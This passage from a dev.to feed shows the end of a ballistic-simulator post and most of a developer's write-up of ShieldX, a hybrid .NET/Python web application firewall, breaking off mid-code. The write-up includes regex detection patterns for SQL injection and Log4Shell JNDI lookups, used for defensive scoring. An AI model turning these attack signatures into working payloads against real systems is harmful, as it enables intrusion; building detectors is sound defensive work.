&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhghdrd4z1sci99tcdwa6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhghdrd4z1sci99tcdwa6.png" alt=" " width="800" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foooz39v6b2x97vibz3ie.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foooz39v6b2x97vibz3ie.png" alt=" " width="800" height="379"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3srcksj257zo0ygbsyv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3srcksj257zo0ygbsyv.png" alt=" " width="800" height="565"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5xs4r4bm3174tmxin0pn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5xs4r4bm3174tmxin0pn.png" alt=" " width="800" height="557"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ig3pftpu9m8efz4jit6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ig3pftpu9m8efz4jit6.png" alt=" " width="800" height="635"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy692n52rztcsbztoaduw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy692n52rztcsbztoaduw.png" alt=" " width="315" height="955"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Tech Stack
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Python/Flask&lt;/strong&gt; — frontend, REST API, PDF&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;C#/.NET 10&lt;/strong&gt; — ballistic processor (Euler, Coriolis, ISA)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Redis 7.x Streams&lt;/strong&gt; — microservices queue&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Leaflet.js&lt;/strong&gt; — 2D satellite map&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CesiumJS 1.114&lt;/strong&gt; — 3D globe&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Educational and simulation purposes only.&lt;br&gt;
All data from public sources (Glasstone &amp;amp; Dolan 1977, CSIS, Jane's).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Full source: &lt;a href="https://github.com/InsaneInfinity/Balistic" rel="noopener noreferrer"&gt;https://github.com/InsaneInfinity/Balistic&lt;/a&gt;&lt;/p&gt;

</description>
      <category>csharp</category>
      <category>microservices</category>
      <category>python</category>
      <category>science</category>
    </item>
    <item>
      <title>I Built a Hybrid WAF in C# and Python After 8 Months of Learning — Here's Everything I Learned</title>
      <dc:creator>Patryk</dc:creator>
      <pubDate>Sun, 22 Mar 2026 13:17:38 +0000</pubDate>
      <link>https://dev.to/insaneinfinity/i-built-a-hybrid-waf-in-c-and-python-after-8-months-of-learning-heres-everything-i-learned-b6i</link>
      <guid>https://dev.to/insaneinfinity/i-built-a-hybrid-waf-in-c-and-python-after-8-months-of-learning-heres-everything-i-learned-b6i</guid>
      <description>&lt;h2&gt;
  
  
  The Honest Truth First
&lt;/h2&gt;

&lt;p&gt;I've been coding for 8 months. Not years. Eight months.&lt;/p&gt;

&lt;p&gt;When I tell people what I built, they usually assume I'm exaggerating or that I just glued some libraries together. So let me be upfront: ShieldX is a fully custom Web Application Firewall combining a &lt;strong&gt;.NET 10 reverse proxy&lt;/strong&gt; with a &lt;strong&gt;Python deep inspection engine&lt;/strong&gt;, connected through a &lt;strong&gt;Redis event bus&lt;/strong&gt;, with a &lt;strong&gt;real-time SOC dashboard&lt;/strong&gt; powered by SignalR.&lt;/p&gt;

&lt;p&gt;Is it perfect? No. Is it production-ready for Fortune 500? Probably not yet. But it detects SQLi, XSS, Log4Shell, Command Injection, and Path Traversal — and it does it in under 5ms for the standalone mode and under 10ms in hybrid mode. I'm proud of it, and I want to share exactly how it works and what I learned building it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why I Built This
&lt;/h2&gt;

&lt;p&gt;I wasn't trying to reinvent Cloudflare. I wanted to &lt;em&gt;understand&lt;/em&gt; how WAFs actually work under the hood. Every time I used tools like AWS WAF or ModSecurity, they felt like black boxes. Rules go in, traffic comes out filtered — but &lt;em&gt;why&lt;/em&gt;? &lt;em&gt;How&lt;/em&gt;?&lt;/p&gt;

&lt;p&gt;So I decided to build one myself. From scratch.&lt;/p&gt;

&lt;p&gt;The first version was a mess — a Python script with a handful of regex patterns that blocked anything with "SELECT" in it (which, embarrassingly, also blocked my own admin queries). Over the next few months, it evolved into something I'm genuinely proud of.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Architecture — Two Engines, One System
&lt;/h2&gt;

&lt;p&gt;The core idea behind ShieldX is simple: &lt;strong&gt;use the right tool for each job&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;.NET 10&lt;/strong&gt; is incredibly fast for high-throughput request processing. It handles TLS, rate limiting, GeoIP filtering, URL anomaly detection, and caching. Sub-millisecond response times on the hot path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python&lt;/strong&gt; is flexible and expressive for deep pattern matching. It handles POST/PUT body scanning — the kind of deep inspection where you need to decode URL-encoded payloads, strip encoding tricks, and run complex regex across request bodies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Redis&lt;/strong&gt; acts as the glue — a shared event bus and ban store that lets both engines communicate in real time.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's the high-level flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Incoming Request
      │
      ▼
.NET 10 Gateway (YARP / Kestrel)
  ├── GeoIP filtering (MaxMind)
  ├── Browser fingerprinting (SHA-256)
  ├── L7 URL/header anomaly detection
  ├── Rate limiting (30 req/10s)
  └── L1/L2 ban cache (IMemoryCache + Redis)
      │
      │ [Hybrid mode only]
      ▼
Python Intelligence Engine (FastAPI)
  ├── DPI body scan (POST/PUT up to 64KB)
  ├── SQLi, XSS, Log4Shell, CMDi detection
  ├── Threat scoring (0–100)
  └── Binary content guard (skips image/*, video/*, PDF)
      │
      ▼
Redis Event Bus
  ├── shieldx:bans:ip
  ├── shieldx:events:rate_limit
  └── shieldx:events:suspect
      │
      ▼
Real-time SOC Dashboard (SignalR)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two modes:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Standalone (.NET)&lt;/th&gt;
&lt;th&gt;Hybrid (.NET + Python)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Setup&lt;/td&gt;
&lt;td&gt;Single process&lt;/td&gt;
&lt;td&gt;Two processes + Redis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Latency overhead&lt;/td&gt;
&lt;td&gt;Sub-millisecond&lt;/td&gt;
&lt;td&gt;~2–5ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Body scanning&lt;/td&gt;
&lt;td&gt;✗&lt;/td&gt;
&lt;td&gt;✓ POST/PUT up to 64KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Log4Shell detection&lt;/td&gt;
&lt;td&gt;✗&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Threat scoring&lt;/td&gt;
&lt;td&gt;Heuristic (0–100)&lt;/td&gt;
&lt;td&gt;Heuristic + Regex (0–100)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rate limiting&lt;/td&gt;
&lt;td&gt;✓ 30 req/10s&lt;/td&gt;
&lt;td&gt;✓ 100 req/min sliding window&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  The .NET Gateway — Speed First
&lt;/h2&gt;

&lt;p&gt;The .NET side uses &lt;strong&gt;YARP&lt;/strong&gt; (Yet Another Reverse Proxy) as the foundation, running on Kestrel with TLS 1.2/1.3 enforced. I didn't want to write my own HTTP server — YARP handles the proxy mechanics, and I layered my WAF logic on top as ASP.NET middleware.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Blocking Pipeline
&lt;/h3&gt;

&lt;p&gt;Every request goes through this chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Whitelist → L1 Cache → Geo-IP → L7 Defense → [Python DPI] → Bot Score → Rate Limit → Allow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Whitelist&lt;/strong&gt; — trusted IPs bypass everything. Useful for your own monitoring systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;L1/L2 ban cache&lt;/strong&gt; — this was a key performance decision. I use &lt;code&gt;IMemoryCache&lt;/code&gt; as L1 (in-process, nanosecond lookups) and Redis as L2 (cross-node synchronization). On a cache hit, the request is rejected before any expensive logic runs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// L1 cache check - fastest path&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;TryGetValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;$"ban:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;out&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusCode&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;403&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteAsJsonAsync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"BANNED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Your IP is blocked by Shield-X."&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Browser fingerprinting&lt;/strong&gt; — I generate a SHA-256 fingerprint from a combination of headers (User-Agent, Accept-Language, Accept-Encoding, etc.). This catches bots that rotate IPs but keep the same browser signature. When the bot score hits 60, I ban the fingerprint. At 80, I ban both the fingerprint and the IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GeoIP&lt;/strong&gt; — using MaxMind GeoLite2. Simple country-level blocking. Not the most sophisticated approach but effective for filtering out high-risk regions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Redis Pub/Sub for Cross-Process Communication
&lt;/h3&gt;

&lt;p&gt;When Python bans an IP, it publishes to &lt;code&gt;shieldx:bans:ip&lt;/code&gt;. The .NET process has a subscriber running from startup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;subscriber&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SubscribeAsync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;RedisChannel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Literal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"shieldx:bans:ip"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;StringGetAsync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;$"shieldx:ban:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;??&lt;/span&gt; &lt;span class="s"&gt;"Python WAF detection"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;$"ban:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;banDuration&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;PushEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ban"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;90&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means a ban applied by Python propagates to .NET's local cache within milliseconds — no polling, no delay.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Python Engine — Intelligence Layer
&lt;/h2&gt;

&lt;p&gt;The Python engine runs as a &lt;strong&gt;FastAPI ASGI application&lt;/strong&gt; with a custom middleware class that intercepts every request before it reaches the route handler.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Python for This Layer?
&lt;/h3&gt;

&lt;p&gt;I get asked this a lot. "Why not just do everything in C#?" &lt;/p&gt;

&lt;p&gt;Regex in Python is fast, expressive, and the ecosystem for security pattern development is mature. I could have ported everything to C#, but for the DPI layer, I wanted the flexibility to iterate quickly on patterns without recompiling the .NET project every time. Python lets me hot-reload the detection engine independently.&lt;/p&gt;

&lt;p&gt;Also — and this is the honest reason — I wanted to learn both languages deeply. Building a hybrid system forced me to think carefully about where each language excels.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attack Detection Patterns
&lt;/h3&gt;

&lt;p&gt;The most interesting part is the threat scoring system. Instead of binary block/allow, every request gets a score from 0 to 100:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ATTACK_PATTERNS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SQL_INJECTION&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?i)(\b(union\s+select|select\s+[\w\*]+\s+from|drop\s+table|&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;insert\s+into\s+\w+|update\s+\w+\s+set|delete\s+from|&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exec\s*\(|execute\s*\(|xp_\w+|sp_\w+|&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sleep\s*\(\d+\)|benchmark\s*\(|waitfor\s+delay)\b|&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--\s*$|/\*.*?\*/|&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\s*(or|and)\s*&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;?\d|\bor\b\s+\d+=\d+)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;LOG4J&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?i)\$\{(?:jndi|lower|upper|:+|-+)\s*:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="c1"&gt;# ... more patterns
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Score thresholds:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;≥ 80&lt;/strong&gt; → immediate ban, event published to Redis&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;40–79&lt;/strong&gt; → logged as suspect, forwarded to dashboard, request allowed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&amp;lt; 40&lt;/strong&gt; → clean, passes through&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This gradation matters. A request with &lt;code&gt;document.cookie&lt;/code&gt; in a query parameter isn't necessarily malicious — it might be a legitimate analytics tag. Logging it as suspicious without blocking gives you visibility without false positives.&lt;/p&gt;

&lt;h3&gt;
  
  
  Body Scanning — The Hard Part
&lt;/h3&gt;

&lt;p&gt;Reading the request body in ASGI middleware is tricky because once you consume the stream, it's gone. You need to buffer it and reconstruct it for the actual route handler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;analyze_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;body_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="n"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;MAX_BODY_READ_BYTES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# 10MB limit
&lt;/span&gt;            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;999&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BODY_TOO_LARGE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;
        &lt;span class="n"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;body_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Reconstruct stream for the next handler
&lt;/span&gt;    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;receive_patched&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
